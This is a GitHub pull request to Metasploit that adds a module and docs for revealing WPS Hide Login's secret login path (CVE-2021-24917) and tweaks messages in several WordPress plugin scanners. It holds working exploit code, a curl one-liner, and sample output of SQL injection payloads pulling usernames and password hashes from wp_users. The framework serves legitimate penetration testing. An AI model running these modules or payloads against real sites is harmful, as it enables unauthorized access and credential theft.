Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

wps_hide_login module CVE-2021-24917 #15953

Merged
merged 3 commits into from
Dec 15, 2021
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions data/wordlists/wp-exploitable-plugins.txt
Original file line number Diff line number Diff line change
Expand Up @@ -33,6 +33,7 @@ wp-easycart
dukapress
loginizer
email-subscribers
wps-hide-login
wordpress-mobile-pack
learnpress
wp-mobile-edition
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -61,7 +61,7 @@ count => 3
resource (abandoned.rb)> run
[*] Checking /wp-content/plugins/woocommerce-abandoned-cart/readme.txt
[*] Found version You in the plugin
[+] Vulnerable version detected
[+] Vulnerable version of Abandoned Cart for WooCommerce detected
[*] Nonce: b56eb3a2cb
[*] Enumerating Usernames and Password Hashes
[*] {SQLi} Executing (select group_concat(PghfuFZ) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) PghfuFZ from wp_users limit 3) eOMLbNMh)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -48,7 +48,7 @@ resource (chopslider.rb)> set count 3
count => 3
resource (chopslider.rb)> run
[*] Version detected: 3.4
[+] Vulnerable version detected
[+] Vulnerable version of ChopSlider3 detected
[*] Enumerating Usernames
[*] {SQLi} Executing (select group_concat(qlJEzvIJY) from (select cast(ifnull(user_login,'') as binary) qlJEzvIJY from wp_users limit 3) DSKc)
[*] {SQLi} Time-based injection: expecting output of length 19
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -64,7 +64,7 @@ rhosts => 1.1.1.1
resource (wp_easy_wp_smtp.rb)> run
[*] Checking /wp-content/plugins/easy-wp-smtp/readme.txt
[*] Found version 1.4.1 in the plugin
[+] Vulnerable version detected
[+] Vulnerable version of Easy WP SMTP detected
[+] Found debug log: /wp-content/plugins/easy-wp-smtp/5fcfd49e879f9_debug_log.txt
[*] Sending password reset for Admin
[+] Debug log saved to /home/h00die/.msf4/loot/20201208204705_default_1.1.1.1_5fcfd49e879f9_de_209239.txt. Manual review for possible SMTP password, and other information.
Expand All @@ -84,7 +84,7 @@ verbose => true
resource (easy-wp-smtp.rb)> run
[*] Checking /wp-content/plugins/easy-wp-smtp/readme.txt
[*] Found version 1.4.1 in the plugin
[+] Vulnerable version detected
[+] Vulnerable version of Easy WP SMTP detected
[*] Checking for debug_log file
[-] not-vulnerable: Either debug log not turned on, or directory listings disabled. Try AGGRESSIVE mode if this is a false positive
[*] Scanned 1 of 1 hosts (100% complete)
Expand All @@ -97,7 +97,7 @@ aggressive => true
resource (easy-wp-smtp.rb)> run
[*] Checking /wp-content/plugins/easy-wp-smtp/readme.txt
[*] Found version 1.4.1 in the plugin
[+] Vulnerable version detected
[+] Vulnerable version of Easy WP SMTP detected
[*] Checking for debug_log file
[-] Debug file not found, bypassing check due to AGGRESSIVE mode
[*] Sending password reset for Admin
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -46,7 +46,7 @@ msf6 auxiliary(scanner/http/wp_email_sub_news_sqli) > run

[*] Checking /wp-content/plugins/email-subscribers/readme.txt
[*] Found version 4.2.2 in the plugin
[+] Vulnerable version detected
[+] Vulnerable version of Email Subscribers and Newsletter detected
[*] {SQLi} Executing (select group_concat(yKaoA) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) yKaoA from wp_users limit 3) adO)
[*] {SQLi} Time-based injection: expecting output of length 124
[+] wp_users
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -60,7 +60,7 @@ count => 3
resource (learnpress.rb)> run
[*] Checking /wp-content/plugins/learnpress/readme.txt
[*] Found version 3.2.6.7 in the plugin
[+] Vulnerable version detected
[+] Vulnerable version of LearPress detected
[*] Enumerating Usernames and Password Hashes
[*] {SQLi} Executing (select group_concat(CKvFyxDg) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) CKvFyxDg from wp_users limit 3) wmnJO)
[*] {SQLi} Encoded to (select group_concat(CKvFyxDg) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xd5,0)),ifnull(user_pass,repeat(0x49,0))) as binary) CKvFyxDg from wp_users limit 3) wmnJO)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -60,7 +60,7 @@ msf6 auxiliary(scanner/http/wp_loginizer_log_sqli) > run

[*] Checking /wp-content/plugins/loginizer/readme.txt
[*] Found version 1.6.3 in the plugin
[+] Vulnerable version detected
[+] Vulnerable version of Loginizer detected
[*] {SQLi} Executing (select group_concat(XMjgCKOLn) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) XMjgCKOLn from wp_users limit 3) ZtmrJNCuJ)
[*] {SQLi} Time-based injection: expecting output of length 124
[+] wp_users
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -36,7 +36,7 @@ resource (total_upkeep.rb)> use auxiliary/scanner/http/wp_total_upkeep_downloade
resource (total_upkeep.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (total_upkeep.rb)> run
[+] 1.1.1.1 - Vulnerable version detected
[+] 1.1.1.1 - Vulnerable version of Boldgrid Backup detected
[*] 1.1.1.1 - Obtaining Server Info
[+] 1.1.1.1 -
gateway_interface: CGI/1.1
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
## Vulnerable Application

This module exploits a bypass issue with WPS Hide Login version <= 1.9. WPS Hide Login
is used to make a new secret path to the login page, however a `GET` request to
`/wp-admin/options.php` with a `referer` will reveal the hidden path.

This emulates the following `curl` command: `curl --referer "something" -sIXGET http://<ip>/wp-admin/options.php`

## Verification Steps

1. Install the vulnerable plugin and set a new login page
1. Start msfconsole
1. Do: `use auxiliary/scanner/http/wp_wps_hide_login_revealer`
1. Do: `set rhosts [ip]`
1. Do: `run`
1. You should find the hidden login page

## Options

## Scenarios

### WPS Hide Login version 1.9.0 on Wordpress 5.4.8 running on Ubuntu 20.04

```
resource (hide_login.rb)> use auxiliary/scanner/http/wp_wps_hide_login_revealer
resource (hide_login.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (hide_login.rb)> set verbose true
verbose => true
resource (hide_login.rb)> run
[*] Checking /wp-content/plugins/wps-hide-login/readme.txt
[*] Found version 1.9 in the plugin
[+] 1.1.1.1 - Vulnerable version of wps_hide_login detected
[*] 1.1.1.1 - Determining login page
[+] Login Page: http://1.1.1.1/supersecret/?redirect_to=%2Fwp-admin%2FilOYZU&reauth=1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
7 changes: 6 additions & 1 deletion modules/auxiliary/scanner/http/wp_abandoned_cart_sqli.rb
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,11 @@ def initialize(info = {})
'Actions' => [
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultAction' => 'List Users',
'DisclosureDate' => '2020-11-05'
)
Expand All @@ -57,7 +62,7 @@ def run_host(ip)
vprint_error('Abandoned Cart for WooCommerce version not vulnerable')
return
end
print_good('Vulnerable version detected')
print_good('Vulnerable version of Abandoned Cart for WooCommerce detected')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, datastore['CHECKOUTURL']),
Expand Down
7 changes: 6 additions & 1 deletion modules/auxiliary/scanner/http/wp_chopslider_id_sqli.rb
Original file line number Diff line number Diff line change
Expand Up @@ -36,6 +36,11 @@ def initialize(info = {})
'Actions' => [
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultAction' => 'List Users',
'DisclosureDate' => '2020-05-12'
)
Expand Down Expand Up @@ -74,7 +79,7 @@ def run_host(ip)
vprint_error('ChopSlider3 version not vulnerable or undetected')
return
else
print_good('Vulnerable version detected')
print_good('Vulnerable version of ChopSlider3 detected')
end

sliderid = Rex::Text.rand_text_numeric(8..10)
Expand Down
9 changes: 7 additions & 2 deletions modules/auxiliary/scanner/http/wp_easy_wp_smtp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,11 @@ def initialize(info = {})
['WPVDB', '10494'],
['CVE', '2020-35234']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2020-12-06'
)
)
Expand Down Expand Up @@ -65,9 +70,9 @@ def run_host(ip)

checkcode = check_plugin_version_from_readme('easy-wp-smtp', '1.4.2')
unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
fail_with Failure::NotVulnerable, 'A vulnerable version of the "Easy WP SMTP" was not found'
fail_with Failure::NotVulnerable, 'A vulnerable version of Easy WP SMTP was not found'
end
print_good('Vulnerable version detected')
print_good('Vulnerable version of Easy WP SMTP detected')

debug_log = get_debug_file(datastore['AGGRESSIVE'])
if debug_log
Expand Down
9 changes: 7 additions & 2 deletions modules/auxiliary/scanner/http/wp_email_sub_news_sqli.rb
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,11 @@ def initialize(info = {})
'Actions' => [
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultAction' => 'List Users',
'DisclosureDate' => '2019-11-13'
)
Expand All @@ -48,9 +53,9 @@ def run_host(ip)

checkcode = check_plugin_version_from_readme('email-subscribers', '4.3.1')
unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
fail_with Failure::NotVulnerable, 'Email subscribers and newsletter version not vulnerable'
fail_with Failure::NotVulnerable, 'Email Subscribers and Newsletter version not vulnerable'
end
print_good('Vulnerable version detected')
print_good('Vulnerable version of Email Subscribers and Newsletter detected')

guid = Rex::Text.rand_guid
email = Rex::Text.rand_mail_address
Expand Down
4 changes: 2 additions & 2 deletions modules/auxiliary/scanner/http/wp_learnpress_sqli.rb
Original file line number Diff line number Diff line change
Expand Up @@ -60,10 +60,10 @@ def run_host(ip)

checkcode = check_plugin_version_from_readme('learnpress', '3.2.6.8')
if checkcode == Msf::Exploit::CheckCode::Safe
vprint_error('Learnpress version not vulnerable')
vprint_error('LearnPress version not vulnerable')
return
end
print_good('Vulnerable version detected')
print_good('Vulnerable version of LearnPress detected')

cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])

Expand Down
7 changes: 6 additions & 1 deletion modules/auxiliary/scanner/http/wp_loginizer_log_sqli.rb
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,11 @@ def initialize(info = {})
'Actions' => [
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultAction' => 'List Users',
'DisclosureDate' => '2020-10-21'
)
Expand Down Expand Up @@ -65,7 +70,7 @@ def run_host(ip)
vprint_error('Loginizer version not vulnerable')
return
else
print_good('Vulnerable version detected')
print_good('Vulnerable version of Loginizer detected')
end

cookie = send_request_cgi({
Expand Down
9 changes: 7 additions & 2 deletions modules/auxiliary/scanner/http/wp_total_upkeep_downloader.rb
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,11 @@ def initialize(info = {})
'Wadeek', # Vulnerability discovery
'h00die' # Metasploit module
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2020-12-12',
'License' => MSF_LICENSE
)
Expand All @@ -44,9 +49,9 @@ def run_host(ip)

checkcode = check_plugin_version_from_readme('boldgrid-backup', '1.14.10')
unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of the 'Boldgrid Backup' was not found"
fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of Boldgrid Backup was not found"
end
print_good("#{ip} - Vulnerable version detected")
print_good("#{ip} - Vulnerable version of Boldgrid Backup detected")

print_status("#{ip} - Obtaining Server Info")
res = send_request_cgi({
Expand Down
70 changes: 70 additions & 0 deletions modules/auxiliary/scanner/http/wp_wps_hide_login_revealer.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress WPS Hide Login Login Page Revealer',
'Description' => %q{
This module exploits a bypass issue with WPS Hide Login version <= 1.9. WPS Hide Login
is used to make a new secret path to the login page, however a 'GET' request to
'/wp-admin/options.php' with a referer will reveal the hidden path.
},
'References' => [
['WPVDB', '15bb711a-7d70-4891-b7a2-c473e3e8b375'],
['CVE', '2021-24917'],
['URL', 'https://wordpress.org/support/topic/bypass-security-issue/']
],
'Author' => [
'thalakus', # Vulnerability discovery
'h00die' # Metasploit module
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2021-10-27',
'License' => MSF_LICENSE
)
)
end

def run_host(ip)
unless wordpress_and_online?
fail_with Failure::NotVulnerable, "#{ip} - Server not online or not detected as wordpress"
end

checkcode = check_plugin_version_from_readme('wps-hide-login', '1.9.1')
unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of the 'WPS Hide Login' was not found"
end
print_good("#{ip} - Vulnerable version of wps_hide_login detected")

print_status("#{ip} - Determining login page")
# curl --referer "something" -sIXGET http://<ip>/wp-admin/options.php
res = send_request_cgi({
'method' => 'GET',
'headers' => {
'Referer' => Rex::Text.rand_text_alphanumeric(rand(5..7))
},
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options.php')
})

fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Didn't receive a HTTP 302 redirect to the secret login page" if res.code != 302
if res.headers['Location']
print_good("Login page: #{res.headers['Location']}")
else
print_error('No location header found')
end
end
end